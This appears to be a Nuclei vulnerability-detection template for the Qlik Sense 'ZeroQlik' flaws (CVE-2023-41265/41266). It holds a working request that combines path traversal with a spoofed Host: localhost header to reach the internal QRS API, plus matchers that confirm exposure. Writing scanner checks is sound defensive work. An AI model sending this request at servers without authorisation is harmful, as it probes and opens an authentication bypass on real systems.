zeroqlik-vulnerability.yaml

id: zeroqlik-rce
info:
  name: ZeroQlik Vulnerability (CVE-2023-41265 and CVE-2023-41266)
  author: Adam Crosser
  severity: critical
  reference:
    - https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801
    - https://www.praetorian.com/blog/advisory-qlik-sense/
    - https://www.praetorian.com/blog/qlik-sense-technical-exploit

requests:
  - method: GET
    path:
      - "{{BaseURL}}/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf"
    headers:
      Host: localhost
      Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
      X-Qlik-Xrfkey: 1333333333333337
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 400
      - type: word
        words:
        - "The comparison expression does not consist of three elements: .ttf"
        part: body
      - type: word
        part: header
        words:
          - "X-Qlik-Session"